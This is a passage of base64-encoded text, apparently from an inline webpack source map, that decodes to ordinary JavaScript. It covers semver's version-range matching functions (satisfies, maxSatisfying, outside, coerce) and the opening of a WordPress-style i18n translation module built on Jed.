cmF0b3JzLCB0aGVuIHBhc3NcblJhbmdlLnByb3RvdHlwZS50ZXN0ID0gZnVuY3Rpb24odmVyc2lvbikge1xuICBpZiAoIXZlcnNpb24pXG4gICAgcmV0dXJuIGZhbHNlO1xuXG4gIGlmICh0eXBlb2YgdmVyc2lvbiA9PT0gJ3N0cmluZycpXG4gICAgdmVyc2lvbiA9IG5ldyBTZW1WZXIodmVyc2lvbiwgdGhpcy5sb29zZSk7XG5cbiAgZm9yICh2YXIgaSA9IDA7IGkgPCB0aGlzLnNldC5sZW5ndGg7IGkrKykge1xuICAgIGlmICh0ZXN0U2V0KHRoaXMuc2V0W2ldLCB2ZXJzaW9uKSlcbiAgICAgIHJldHVybiB0cnVlO1xuICB9XG4gIHJldHVybiBmYWxzZTtcbn07XG5cbmZ1bmN0aW9uIHRlc3RTZXQoc2V0LCB2ZXJzaW9uKSB7XG4gIGZvciAodmFyIGkgPSAwOyBpIDwgc2V0Lmxlbmd0aDsgaSsrKSB7XG4gICAgaWYgKCFzZXRbaV0udGVzdCh2ZXJzaW9uKSlcbiAgICAgIHJldHVybiBmYWxzZTtcbiAgfVxuXG4gIGlmICh2ZXJzaW9uLnByZXJlbGVhc2UubGVuZ3RoKSB7XG4gICAgLy8gRmluZCB0aGUgc2V0IG9mIHZlcnNpb25zIHRoYXQgYXJlIGFsbG93ZWQgdG8gaGF2ZSBwcmVyZWxlYXNlc1xuICAgIC8vIEZvciBleGFtcGxlLCBeMS4yLjMtcHIuMSBkZXN1Z2FycyB0byA+PTEuMi4zLXByLjEgPDIuMC4wXG4gICAgLy8gVGhhdCBzaG91bGQgYWxsb3cgYDEuMi4zLXByLjJgIHRvIHBhc3MuXG4gICAgLy8gSG93ZXZlciwgYDEuMi40LWFscGhhLm5vdHJlYWR5YCBzaG91bGQgTk9UIGJlIGFsbG93ZWQsXG4gICAgLy8gZXZlbiB0aG91Z2ggaXQncyB3aXRoaW4gdGhlIHJhbmdlIHNldCBieSB0aGUgY29tcGFyYXRvcnMuXG4gICAgZm9yICh2YXIgaSA9IDA7IGkgPCBzZXQubGVuZ3RoOyBpKyspIHtcbiAgICAgIGRlYnVnKHNldFtpXS5zZW12ZXIpO1xuICAgICAgaWYgKHNldFtpXS5zZW12ZXIgPT09IEFOWSlcbiAgICAgICAgY29udGludWU7XG5cbiAgICAgIGlmIChzZXRbaV0uc2VtdmVyLnByZXJlbGVhc2UubGVuZ3RoID4gMCkge1xuICAgICAgICB2YXIgYWxsb3dlZCA9IHNldFtpXS5zZW12ZXI7XG4gICAgICAgIGlmIChhbGxvd2VkLm1ham9yID09PSB2ZXJzaW9uLm1ham9yICYmXG4gICAgICAgICAgICBhbGxvd2VkLm1pbm9yID09PSB2ZXJzaW9uLm1pbm9yICYmXG4gICAgICAgICAgICBhbGxvd2VkLnBhdGNoID09PSB2ZXJzaW9uLnBhdGNoKVxuICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgfVxuICAgIH1cblxuICAgIC8vIFZlcnNpb24gaGFzIGEgLXByZSwgYnV0IGl0J3Mgbm90IG9uZSBvZiB0aGUgb25lcyB3ZSBsaWtlLlxuICAgIHJldHVybiBmYWxzZTtcbiAgfVxuXG4gIHJldHVybiB0cnVlO1xufVxuXG5leHBvcnRzLnNhdGlzZmllcyA9IHNhdGlzZmllcztcbmZ1bmN0aW9uIHNhdGlzZmllcyh2ZXJzaW9uLCByYW5nZSwgbG9vc2UpIHtcbiAgdHJ5IHtcbiAgICByYW5nZSA9IG5ldyBSYW5nZShyYW5nZSwgbG9vc2UpO1xuICB9IGNhdGNoIChlcikge1xuICAgIHJldHVybiBmYWxzZTtcbiAgfVxuICByZXR1cm4gcmFuZ2UudGVzdCh2ZXJzaW9uKTtcbn1cblxuZXhwb3J0cy5tYXhTYXRpc2Z5aW5nID0gbWF4U2F0aXNmeWluZztcbmZ1bmN0aW9uIG1heFNhdGlzZnlpbmcodmVyc2lvbnMsIHJhbmdlLCBsb29zZSkge1xuICB2YXIgbWF4ID0gbnVsbDtcbiAgdmFyIG1heFNWID0gbnVsbDtcbiAgdHJ5IHtcbiAgICB2YXIgcmFuZ2VPYmogPSBuZXcgUmFuZ2UocmFuZ2UsIGxvb3NlKTtcbiAgfSBjYXRjaCAoZXIpIHtcbiAgICByZXR1cm4gbnVsbDtcbiAgfVxuICB2ZXJzaW9ucy5mb3JFYWNoKGZ1bmN0aW9uICh2KSB7XG4gICAgaWYgKHJhbmdlT2JqLnRlc3QodikpIHsgLy8gc2F0aXNmaWVzKHYsIHJhbmdlLCBsb29zZSlcbiAgICAgIGlmICghbWF4IHx8IG1heFNWLmNvbXBhcmUodikgPT09IC0xKSB7IC8vIGNvbXBhcmUobWF4LCB2LCB0cnVlKVxuICAgICAgICBtYXggPSB2O1xuICAgICAgICBtYXhTViA9IG5ldyBTZW1WZXIobWF4LCBsb29zZSk7XG4gICAgICB9XG4gICAgfVxuICB9KVxuICByZXR1cm4gbWF4O1xufVxuXG5leHBvcnRzLm1pblNhdGlzZnlpbmcgPSBtaW5TYXRpc2Z5aW5nO1xuZnVuY3Rpb24gbWluU2F0aXNmeWluZyh2ZXJzaW9ucywgcmFuZ2UsIGxvb3NlKSB7XG4gIHZhciBtaW4gPSBudWxsO1xuICB2YXIgbWluU1YgPSBudWxsO1xuICB0cnkge1xuICAgIHZhciByYW5nZU9iaiA9IG5ldyBSYW5nZShyYW5nZSwgbG9vc2UpO1xuICB9IGNhdGNoIChlcikge1xuICAgIHJldHVybiBudWxsO1xuICB9XG4gIHZlcnNpb25zLmZvckVhY2goZnVuY3Rpb24gKHYpIHtcbiAgICBpZiAocmFuZ2VPYmoudGVzdCh2KSkgeyAvLyBzYXRpc2ZpZXModiwgcmFuZ2UsIGxvb3NlKVxuICAgICAgaWYgKCFtaW4gfHwgbWluU1YuY29tcGFyZSh2KSA9PT0gMSkgeyAvLyBjb21wYXJlKG1pbiwgdiwgdHJ1ZSlcbiAgICAgICAgbWluID0gdjtcbiAgICAgICAgbWluU1YgPSBuZXcgU2VtVmVyKG1pbiwgbG9vc2UpO1xuICAgICAgfVxuICAgIH1cbiAgfSlcbiAgcmV0dXJuIG1pbjtcbn1cblxuZXhwb3J0cy52YWxpZFJhbmdlID0gdmFsaWRSYW5nZTtcbmZ1bmN0aW9uIHZhbGlkUmFuZ2UocmFuZ2UsIGxvb3NlKSB7XG4gIHRyeSB7XG4gICAgLy8gUmV0dXJuICcqJyBpbnN0ZWFkIG9mICcnIHNvIHRoYXQgdHJ1dGhpbmVzcyB3b3Jrcy5cbiAgICAvLyBUaGlzIHdpbGwgdGhyb3cgaWYgaXQncyBpbnZhbGlkIGFueXdheVxuICAgIHJldHVybiBuZXcgUmFuZ2UocmFuZ2UsIGxvb3NlKS5yYW5nZSB8fCAnKic7XG4gIH0gY2F0Y2ggKGVyKSB7XG4gICAgcmV0dXJuIG51bGw7XG4gIH1cbn1cblxuLy8gRGV0ZXJtaW5lIGlmIHZlcnNpb24gaXMgbGVzcyB0aGFuIGFsbCB0aGUgdmVyc2lvbnMgcG9zc2libGUgaW4gdGhlIHJhbmdlXG5leHBvcnRzLmx0ciA9IGx0cjtcbmZ1bmN0aW9uIGx0cih2ZXJzaW9uLCByYW5nZSwgbG9vc2UpIHtcbiAgcmV0dXJuIG91dHNpZGUodmVyc2lvbiwgcmFuZ2UsICc8JywgbG9vc2UpO1xufVxuXG4vLyBEZXRlcm1pbmUgaWYgdmVyc2lvbiBpcyBncmVhdGVyIHRoYW4gYWxsIHRoZSB2ZXJzaW9ucyBwb3NzaWJsZSBpbiB0aGUgcmFuZ2UuXG5leHBvcnRzLmd0ciA9IGd0cjtcbmZ1bmN0aW9uIGd0cih2ZXJzaW9uLCByYW5nZSwgbG9vc2UpIHtcbiAgcmV0dXJuIG91dHNpZGUodmVyc2lvbiwgcmFuZ2UsICc+JywgbG9vc2UpO1xufVxuXG5leHBvcnRzLm91dHNpZGUgPSBvdXRzaWRlO1xuZnVuY3Rpb24gb3V0c2lkZSh2ZXJzaW9uLCByYW5nZSwgaGlsbywgbG9vc2UpIHtcbiAgdmVyc2lvbiA9IG5ldyBTZW1WZXIodmVyc2lvbiwgbG9vc2UpO1xuICByYW5nZSA9IG5ldyBSYW5nZShyYW5nZSwgbG9vc2UpO1xuXG4gIHZhciBndGZuLCBsdGVmbiwgbHRmbiwgY29tcCwgZWNvbXA7XG4gIHN3aXRjaCAoaGlsbykge1xuICAgIGNhc2UgJz4nOlxuICAgICAgZ3RmbiA9IGd0O1xuICAgICAgbHRlZm4gPSBsdGU7XG4gICAgICBsdGZuID0gbHQ7XG4gICAgICBjb21wID0gJz4nO1xuICAgICAgZWNvbXAgPSAnPj0nO1xuICAgICAgYnJlYWs7XG4gICAgY2FzZSAnPCc6XG4gICAgICBndGZuID0gbHQ7XG4gICAgICBsdGVmbiA9IGd0ZTtcbiAgICAgIGx0Zm4gPSBndDtcbiAgICAgIGNvbXAgPSAnPCc7XG4gICAgICBlY29tcCA9ICc8PSc7XG4gICAgICBicmVhaztcbiAgICBkZWZhdWx0OlxuICAgICAgdGhyb3cgbmV3IFR5cGVFcnJvcignTXVzdCBwcm92aWRlIGEgaGlsbyB2YWwgb2YgXCI8XCIgb3IgXCI+XCInKTtcbiAgfVxuXG4gIC8vIElmIGl0IHNhdGlzaWZlcyB0aGUgcmFuZ2UgaXQgaXMgbm90IG91dHNpZGVcbiAgaWYgKHNhdGlzZmllcyh2ZXJzaW9uLCByYW5nZSwgbG9vc2UpKSB7XG4gICAgcmV0dXJuIGZhbHNlO1xuICB9XG5cbiAgLy8gRnJvbSBub3cgb24sIHZhcmlhYmxlIHRlcm1zIGFyZSBhcyBpZiB3ZSdyZSBpbiBcImd0clwiIG1vZGUuXG4gIC8vIGJ1dCBub3RlIHRoYXQgZXZlcnl0aGluZyBpcyBmbGlwcGVkIGZvciB0aGUgXCJsdHJcIiBmdW5jdGlvbi5cblxuICBmb3IgKHZhciBpID0gMDsgaSA8IHJhbmdlLnNldC5sZW5ndGg7ICsraSkge1xuICAgIHZhciBjb21wYXJhdG9ycyA9IHJhbmdlLnNldFtpXTtcblxuICAgIHZhciBoaWdoID0gbnVsbDtcbiAgICB2YXIgbG93ID0gbnVsbDtcblxuICAgIGNvbXBhcmF0b3JzLmZvckVhY2goZnVuY3Rpb24oY29tcGFyYXRvcikge1xuICAgICAgaWYgKGNvbXBhcmF0b3Iuc2VtdmVyID09PSBBTlkpIHtcbiAgICAgICAgY29tcGFyYXRvciA9IG5ldyBDb21wYXJhdG9yKCc+PTAuMC4wJylcbiAgICAgIH1cbiAgICAgIGhpZ2ggPSBoaWdoIHx8IGNvbXBhcmF0b3I7XG4gICAgICBsb3cgPSBsb3cgfHwgY29tcGFyYXRvcjtcbiAgICAgIGlmIChndGZuKGNvbXBhcmF0b3Iuc2VtdmVyLCBoaWdoLnNlbXZlciwgbG9vc2UpKSB7XG4gICAgICAgIGhpZ2ggPSBjb21wYXJhdG9yO1xuICAgICAgfSBlbHNlIGlmIChsdGZuKGNvbXBhcmF0b3Iuc2VtdmVyLCBsb3cuc2VtdmVyLCBsb29zZSkpIHtcbiAgICAgICAgbG93ID0gY29tcGFyYXRvcjtcbiAgICAgIH1cbiAgICB9KTtcblxuICAgIC8vIElmIHRoZSBlZGdlIHZlcnNpb24gY29tcGFyYXRvciBoYXMgYSBvcGVyYXRvciB0aGVuIG91ciB2ZXJzaW9uXG4gICAgLy8gaXNuJ3Qgb3V0c2lkZSBpdFxuICAgIGlmIChoaWdoLm9wZXJhdG9yID09PSBjb21wIHx8IGhpZ2gub3BlcmF0b3IgPT09IGVjb21wKSB7XG4gICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgLy8gSWYgdGhlIGxvd2VzdCB2ZXJzaW9uIGNvbXBhcmF0b3IgaGFzIGFuIG9wZXJhdG9yIGFuZCBvdXIgdmVyc2lvblxuICAgIC8vIGlzIGxlc3MgdGhhbiBpdCB0aGVuIGl0IGlzbid0IGhpZ2hlciB0aGFuIHRoZSByYW5nZVxuICAgIGlmICgoIWxvdy5vcGVyYXRvciB8fCBsb3cub3BlcmF0b3IgPT09IGNvbXApICYmXG4gICAgICAgIGx0ZWZuKHZlcnNpb24sIGxvdy5zZW12ZXIpKSB7XG4gICAgICByZXR1cm4gZmFsc2U7XG4gICAgfSBlbHNlIGlmIChsb3cub3BlcmF0b3IgPT09IGVjb21wICYmIGx0Zm4odmVyc2lvbiwgbG93LnNlbXZlcikpIHtcbiAgICAgIHJldHVybiBmYWxzZTtcbiAgICB9XG4gIH1cbiAgcmV0dXJuIHRydWU7XG59XG5cbmV4cG9ydHMucHJlcmVsZWFzZSA9IHByZXJlbGVhc2U7XG5mdW5jdGlvbiBwcmVyZWxlYXNlKHZlcnNpb24sIGxvb3NlKSB7XG4gIHZhciBwYXJzZWQgPSBwYXJzZSh2ZXJzaW9uLCBsb29zZSk7XG4gIHJldHVybiAocGFyc2VkICYmIHBhcnNlZC5wcmVyZWxlYXNlLmxlbmd0aCkgPyBwYXJzZWQucHJlcmVsZWFzZSA6IG51bGw7XG59XG5cbmV4cG9ydHMuaW50ZXJzZWN0cyA9IGludGVyc2VjdHM7XG5mdW5jdGlvbiBpbnRlcnNlY3RzKHIxLCByMiwgbG9vc2UpIHtcbiAgcjEgPSBuZXcgUmFuZ2UocjEsIGxvb3NlKVxuICByMiA9IG5ldyBSYW5nZShyMiwgbG9vc2UpXG4gIHJldHVybiByMS5pbnRlcnNlY3RzKHIyKVxufVxuXG5leHBvcnRzLmNvZXJjZSA9IGNvZXJjZTtcbmZ1bmN0aW9uIGNvZXJjZSh2ZXJzaW9uKSB7XG4gIGlmICh2ZXJzaW9uIGluc3RhbmNlb2YgU2VtVmVyKVxuICAgIHJldHVybiB2ZXJzaW9uO1xuXG4gIGlmICh0eXBlb2YgdmVyc2lvbiAhPT0gJ3N0cmluZycpXG4gICAgcmV0dXJuIG51bGw7XG5cbiAgdmFyIG1hdGNoID0gdmVyc2lvbi5tYXRjaChyZVtDT0VSQ0VdKTtcblxuICBpZiAobWF0Y2ggPT0gbnVsbClcbiAgICByZXR1cm4gbnVsbDtcblxuICByZXR1cm4gcGFyc2UoKG1hdGNoWzFdIHx8ICcwJykgKyAnLicgKyAobWF0Y2hbMl0gfHwgJzAnKSArICcuJyArIChtYXRjaFszXSB8fCAnMCcpKTsgXG59XG5cblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9zZW12ZXIvc2VtdmVyLmpzXG4vLyBtb2R1bGUgaWQgPSA5MVxuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCA1IiwiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xudmFyIGRlYnVnID0gcmVxdWlyZSggJ2RlYnVnJyApKCAnaTE4bi13cC1wbHVnaW4nICksXG5cdEplZCA9IHJlcXVpcmUoICdqZWQnICksXG5cdHNoYTEgPSByZXF1aXJlKCAnaGFzaC5qcy9saWIvaGFzaC9zaGEvMScgKSxcblx0RXZlbnRFbWl0dGVyID0gcmVxdWlyZSggJ2V2ZW50cycgKS5FdmVudEVtaXR0ZXIsXG5cdGludGVycG9sYXRlQ29tcG9uZW50cyA9IHJlcXVpcmUoICdpbnRlcnBvbGF0ZS1jb21wb25lbnRzJyApLmRlZmF1bHQsXG5cdExSVSA9IHJlcXVpcmUoICdscnUnICksXG5cdGFzc2lnbiA9IHJlcXVpcmUoICdsb2Rhc2guYXNzaWduJyApO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG52YXIgbnVtYmVyRm9ybWF0UEhQSlMgPSByZXF1aXJlKCAnLi9udW1iZXItZm9ybWF0JyApO1xuXG4vKipcbiAqIENvbnN0YW50c1xuICovXG52YXIgZGVjaW1hbF9wb2ludF90cmFuc2xhdGlvbl9rZXkgPSAnbnVtYmVyX2Zvcm1hdF9kZWNpbWFscycsXG5cdHRob3VzYW5kc19zZXBfdHJhbnNsYXRpb25fa2V5ID0gJ251bWJlcl9mb3JtYXRfdGhvdXNhbmRzX3NlcCc7XG5cbnZhciB0cmFuc2xhdGlvbkxvb2t1cCA9IFtcblx0Ly8gQnkgZGVmYXVsdCBkb24ndCBtb2RpZnkgdGhlIG9wdGlvbnMgd2hlbiBsb29raW5nIHVwIHRyYW5zbGF0aW9ucy5cblx0ZnVuY3Rpb24oIG9wdGlvbnMgKSB7XG5cdFx0cmV0dXJuIG9wdGlvbnM7XG5cdH1cbl07XG5cbnZhciBoYXNoQ2FjaGUgPSB7fTtcblxuLy8gcmFpc2UgYSBjb25zb2xlIHdhcm5pbmdcbmZ1bmN0aW9uIHdhcm4oKSB7XG5cdGlmICggISBJMThOLnRocm93RXJyb3JzICkge1xuXHRcdHJldHVybjtcblx0fVxuXHRpZiAoICd1bmRlZmluZWQnICE9PSB0eXBlb2Ygd2luZG93ICYmIHdpbmRvdy5jb25zb2xlICYmIHdpbmRvdy5jb25zb2xlLndhcm4gKSB7XG5cdFx0d2luZG93LmNvbnNvbGUud2Fybi5hcHBseSggd2luZG93LmNvbnNvbGUsIGFyZ3VtZW50cyApO1xuXHR9XG59XG5cbi8vIHR1cm5zIEZ1bmN0aW9uLmFyZ3VtZW50cyBpbnRvIGFuIGFycmF5XG5mdW5jdGlvbiBzaW1wbGVBcmd1bWVudHMoIGFyZ3MgKSB7XG5cdHJldHVybiBBcnJheS5wcm90b3R5cGUuc2xpY2UuY2FsbCggYXJncyApO1xufVxuXG4vKipcbiAqIENvZXJjZSB0aGUgcG9zc2libGUgYXJndW1lbnRzIGFuZCBub3JtYWxpemUgdG8gYSBzaW5nbGUgb2JqZWN0XG4gKiBAcGFyYW0gIHthcmd1bWVudHN9IGFyZ3MgLSBhcmd1bWVudHMgcGFzc2VkIGluIGZyb20gYHRyYW5zbGF0ZSgpYFxuICogQHJldHVybiB7b2JqZWN0fSAgICAgICAgIC0gYSBzaW5nbGUgb2JqZWN0IGRlc2NyaWJpbmcgdHJhbnNsYXRpb24gbmVlZHNcbiAqL1xuZnVuY3Rpb24gbm9ybWFsaXplVHJhbnNsYXRlQXJndW1lbnRzKCBhcmdzICkge1xuXHR2YXIgb3JpZ2luYWwgPSBhcmdzWyAwIF0sXG5cdFx0b3B0aW9ucyA9IHt9LFxuXHRcdGk7XG5cblx0Ly8gd2FybiBhYm91dCBvbGRlciBkZXByZWNhdGVkIHN5bnRheFxuXHRpZiAoIHR5cGVvZiBvcmlnaW5hbCAhPT0gJ3N0cmluZycgfHwgYXJncy5sZW5ndGggPiAzIHx8ICggYXJncy5sZW5ndGggPiAyICYmIHR5cGVvZiBhcmdzWyAxIF0gPT09ICdvYmplY3QnICYmIHR5cGVvZiBhcmdzWyAyIF0gPT09ICdvYmplY3QnICkgKSB7XG5cdFx0d2FybiggJ0RlcHJlY2F0ZWQgSW52b2NhdGlvbjogYHRyYW5zbGF0ZSgpYCBhY2NlcHRzICggc3RyaW5nLCBbc3RyaW5nXSwgW29iamVjdF0gKS4gVGhlc2UgYXJndW1lbnRzIHBhc3NlZDonLCBzaW1wbGVBcmd1bWVudHMoIGFyZ3MgKSwgJy4gU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9wZW50YXRvbmljZnVuay9pMThuLXdwLXBsdWdpbiN0cmFuc2xhdGUtbWV0aG9kJyApO1xuXHR9XG5cdGlmICggYXJncy5sZW5ndGggPT09IDIgJiYgdHlwZW9mIG9yaWdpbmFsID09PSAnc3RyaW5nJyAmJiB0eXBlb2YgYXJnc1sgMSBdID09PSAnc3RyaW5nJyApIHtcblx0XHR3YXJuKCAnSW52YWxpZCBJbnZvY2F0aW9uOiBgdHJhbnNsYXRlKClgIHJlcXVpcmVzIGFuIG9wdGlvbnMgb2JqZWN0IGZvciBwbHVyYWwgdHJhbnNsYXRpb25zLCBidXQgcGFzc2VkOicsIHNpbXBsZUFyZ3VtZW50cyggYXJncyApICk7XG5cdH1cblxuXHQvLyBvcHRpb25zIGNvdWxkIGJlIGluIHBvc2l0aW9uIDAsIDEsIG9yIDJcblx0Ly8gc2VuZGluZyBvcHRpb25zIGFzIHRoZSBmaXJzdCBvYmplY3QgaXMgZGVwcmVjYXRlZCBhbmQgd2lsbCByYWlzZSBhIHdhcm5pbmdcblx0Zm9yICggaSA9IDA7IGkgPCBhcmdzLmxlbmd0aDsgaSsrICkge1xuXHRcdGlmICggdHlwZW9mIGFyZ3NbIGkgXSA9PT0gJ29iamVjdCcgKSB7XG5cdFx0XHRvcHRpb25zID0gYXJnc1sgaSBdO1xuXHRcdH1cblx0fVxuXG5cdC8vIGBvcmlnaW5hbGAgY2FuIGJlIHBhc3NlZCBhcyBmaXJzdCBwYXJhbWV0ZXIgb3IgYXMgcGFydCBvZiB0aGUgb3B0aW9ucyBvYmplY3Rcblx0Ly8gdGhvdWdoIHBhc3Npbmcgb3JpZ2luYWwgYXMgcGFydCBvZiB0aGUgb3B0aW9ucyBpcyBhIGRlcHJlY2F0ZWQgYXBwcm9hY2ggYW5kIHdpbGwgYmUgcmVtb3ZlZFxuXHRpZiAoIHR5cGVvZiBvcmlnaW5hbCA9PT0gJ3N0cmluZycgKSB7XG5cdFx0b3B0aW9ucy5vcmlnaW5hbCA9IG9yaWdpbmFsO1xuXHR9IGVsc2UgaWYgKCB0eXBlb2Ygb3B0aW9ucy5vcmlnaW5hbCA9PT0gJ29iamVjdCcgKSB7XG5cdFx0b3B0aW9ucy5wbHVyYWwgPSBvcHRpb25zLm9yaWdpbmFsLnBsdXJhbDtcblx0XHRvcHRpb25zLmNvdW50ID0gb3B0aW9ucy5vcmlnaW5hbC5jb3VudDtcblx0XHRvcHRpb25zLm9yaWdpbmFsID0gb3B0aW9ucy5vcmlnaW5hbC5zaW5nbGU7XG5cdH1cblx0aWYgKCB0eXBlb2YgYXJnc1sgMSBdID09PSAnc3RyaW5nJyApIHtcblx0XHRvcHRpb25zLnBsdXJhbCA9IGFyZ3NbIDEgXTtcblx0fVxuXG5cdGlmICggdHlwZW9mIG9wdGlvbnMub3JpZ2luYWwgPT09ICd1bmRlZmluZWQnICkge1xuXHRcdHRocm93IG5ldyBFcnJvciggJ1RyYW5zbGF0ZSBjYWxsZWQgd2l0aG91dCBhIGBzdHJpbmdgIHZhbHVlIGFzIGZpcnN0IGFyZ3VtZW50LicgKTtcblx0fVxuXG5cdHJldHVybiBvcHRpb25zO1xufVxuXG4vKipcbiAqIFB1bGwgdGhlIHJpZ2h0IHNldCBvZiBhcmd1bWVudHMgZm9yIHRoZSBKZWQgbWV0aG9kXG4gKiBAcGFyYW0gIHtzdHJpbmd9IGplZE1ldGhvZCBOYW1lIG9mIGplZCBnZXR0ZXh0LXN0eWxlIG1ldGhvZC4gW1NlZSBkb2NzXShodHRwOi8vc2xleGF4dG9uLmdpdGh1Yi5pby9KZWQvKVxuICogQHBhcmFtICB7W29iamVjdF19IHByb3BzICAgICBwcm9wZXJ0aWVzIHBhc3NlZCBpbnRvIGB0cmFuc2xhdGUoKWAgbWV0aG9kXG4gKiBAcmV0dXJuIHtbYXJyYXldfSAgICAgICAgICAgYXJyYXkgb2YgcHJvcGVydGllcyB0byBwYXNzIGludG8gZ2V0dGV4dC1zdHlsZSBtZXRob2RcbiAqL1xuZnVuY3Rpb24gZ2V0SmVkQXJncyggamVkTWV0aG9kLCBwcm9wcyApIHtcblx0c3dpdGNoICggamVkTWV0aG9kICkge1xuXHRcdGNhc2UgJ2dldHRleHQnOlxuXHRcdFx0cmV0dXJuIFsgcHJvcHMub3JpZ2luYWwgXTtcblx0XHRjYXNlICduZ2V0dGV4dCc6XG5cdFx0XHRyZXR1cm4gWyBwcm9wcy5vcmlnaW5hbCwgcHJvcHMucGx1cmFsLCBwcm9wcy5jb3VudCBdO1xuXHRcdGNhc2UgJ25wZ2V0dGV4dCc6XG5cdFx0XHRyZXR1cm4gWyBwcm9wcy5jb250ZXh0LCBwcm9wcy5vcmlnaW5hbCwgcHJvcHMucGx1cmFsLCBwcm9wcy5jb3VudCBdO1xuXHRcdGNhc2UgJ3BnZXR0ZXh0Jzpcblx0XHRcdHJldHVybiBbIHByb3BzLmNvbnRleHQsIHByb3BzLm9yaWdpbmFsIF07XG5cdH1cblxuXHRyZXR1cm4gW107XG59XG5cbi8qKlxuICogVGFrZXMgdHJhbnNsYXRlIG9wdGlvbnMgb2JqZWN0IGFuZCBjb2VyY2VzIHRvIGEgSmVkIHJlcXVlc3QgdG8gcmV0cmlldmUgdHJhbnNsYXRpb25cbiAqIEBwYXJhbSAge29iamVjdH0gamVkICAgICAtIGplZCBkYXRhIG9iamVjdFxuICogQHBhcmFtICB7b2JqZWN0fSBvcHRpb25zIC0gb2JqZWN0IGRlc2NyaWJpbmcgdHJhbnNsYXRpb25cbiAqIEByZXR1cm4ge3N0cmluZ30gICAgICAgICAtIHRoZSByZXR1cm5lZCB0cmFuc2xhdGlvbiBmcm9tIEplZFxuICovXG5mdW5jdGlvbiBnZXRUcmFuc2xhdGlvbkZyb21KZWQoIGplZCwgb3B0aW9ucyApIHtcblx0dmFyIGplZE1ldGhvZCA9ICdnZXR0ZXh0Jyxcblx0XHRqZWRBcmdzO1xuXG5cdGlmICggb3B0aW9ucy5jb250ZXh0ICkge1xuXHRcdGplZE1ldGhvZCA9ICdwJyArIGplZE1ldGhvZDtcblx0fVxuXG5cdGlmICggdHlwZW9mIG9wdGlvbnMub3JpZ2luYWwgPT09ICdzdHJpbmcnICYmIHR5cGVvZiBvcHRpb25zLnBsdXJhbCA9PT0gJ3N0cmluZycgKSB7XG5cdFx0amVkTWV0aG9kID0gJ24nICsgamVkTWV0aG9kO1xuXHR9XG5cblx0amVkQXJncyA9IGdldEplZEFyZ3MoIGplZE1ldGhvZCwgb3B0aW9ucyApO1xuXG5cdHJldHVybiBqZWRbIGplZE1ldGhvZCBdLmFwcGx5KCBqZWQsIGplZEFyZ3MgKTtcbn1cblxuZnVuY3Rpb24gZ2V0VHJhbnNsYXRpb24oIGkxOG4sIG9wdGlvbnMgKSB7XG5cdHZhciBpLCBsb29rdXA7XG5cblx0Zm9yICggaSA9IHRyYW5zbGF0aW9uTG9va3VwLmxlbmd0aCAtIDE7IGkgPj0gMDsgaS0tICkge1xuXHRcdGxvb2t1cCA9IHRyYW5zbGF0aW9uTG9va3VwWyBpIF0oIGFzc2lnbigge30sIG9wdGlvbnMgKSApO1xuXHRcdC8vIE9ubHkgZ2V0IHRoZSB0cmFuc2xhdGlvbiBmcm9tIGplZCBpZiBpdCBleGlzdHMuXG5cdFx0aWYgKCBpMThuLnN0YXRlLmxvY2FsZVsgbG9va3VwLm9yaWdpbmFsIF0gKSB7XG5cdFx0XHRyZXR1cm4gZ2V0VHJhbnNsYXRpb25Gcm9tSmVkKCBpMThuLnN0YXRlLmplZCwgbG9va3VwICk7XG5cdFx0fVxuXHR9XG5cblx0cmV0dXJuIG51bGw7XG59XG5cblxuZnVuY3Rpb24gSTE4TigpIHtcblx0aWYoICEgKCB0aGlzIGluc3RhbmNlb2YgSTE4TiApICkge1xuXHRcdHJldHVybiBuZXcgSTE4TigpO1xuXHR9XG5cdHRoaXMuZGVmYXVsdExvY2FsZVNsdWcgPSAnZW4nO1xuXHR0aGlzLnN0YXRlID0ge1xuXHRcdG51bWJlckZvcm1hdFNldHRpbmdzOiB7fSxcblx0XHRqZWQ6IHVuZGVmaW5lZCxcblx0XHRsb2NhbGU6IHVuZGVmaW5lZCxcblx0XHRsb2NhbGVTbHVnOiB1bmRlZmluZWQsXG5cdFx0dHJhbnNsYXRpb25zOiBMUlUoIHsgbWF4OiAxMDAgfSApXG5cdH07XG5cdHRoaXMuY29tcG9uZW50VXBkYXRlSG9va3MgPSBbXTtcblx0dGhpcy50cmFuc2xhdGVIb29rcyA9IFtdO1xuXHR0aGlzLnN0YXRlT2JzZXJ2ZXIgPSBuZXcgRXZlbnRFbWl0dGVyKCk7XG5cdC8vIEJlY2F1c2UgdGhlIGhpZ2hlci1vcmRlciBjb21wb25lbnQgY2FuIHdyYXAgYSB0b24gb2YgUmVhY3QgY29tcG9uZW50cyxcblx0Ly8gd2UgbmVlZCB0byBidW1wIHRoZSBudW1iZXIgb2YgbGlzdGVuZXJzIHRvIGluZmluaXR5IGFuZCBiZXlvbmRcblx0Ly8gRklYTUU6IHN0aWxsIHZhbGlkP1xuXHR0aGlzLnN0YXRlT2JzZXJ2ZXIuc2V0TWF4TGlzdGVuZXJzKCAwICk7XG5cdC8vIGRlZmF1bHQgY29uZmlndXJhdGlvblxuXHR0aGlzLmNvbmZpZ3VyZSgpO1xufVxuXG5JMThOLnRocm93RXJyb3JzID0gZmFsc2U7XG5cbi8qKlxuICogRm9ybWF0cyBudW1iZXJzIHVzaW5nIGxvY2FsZSBzZXR0aW5ncyBhbmQvb3IgcGFzc2VkIG9wdGlvbnNcbiAqIEBwYXJhbSAge1N0cmluZ3xOdW1iZXJ8SW50fSAgbnVtYmVyIHRvIGZvcm1hdCAocmVxdWlyZWQpXG4gKiBAcGFyYW0gIHtJbnR8b2JqZWN0fSBvcHRpb25zICBOdW1iZXIgb2YgZGVjaW1hbCBwbGFjZXMgb3Igb3B0aW9ucyBvYmplY3QgKG9wdGlvbmFsKVxuICogQHJldHVybiB7c3RyaW5nfSAgICAgICAgIEZvcm1hdHRlZCBudW1iZXIgYXMgc3RyaW5nXG4gKi9cbkkxOE4ucHJvdG90eXBlLm51bWJlckZvcm1hdCA9IGZ1bmN0aW9uKCBudW1iZXIgKSB7XG5cdHZhciBvcHRpb25zID0gYXJndW1lbnRzWyAxI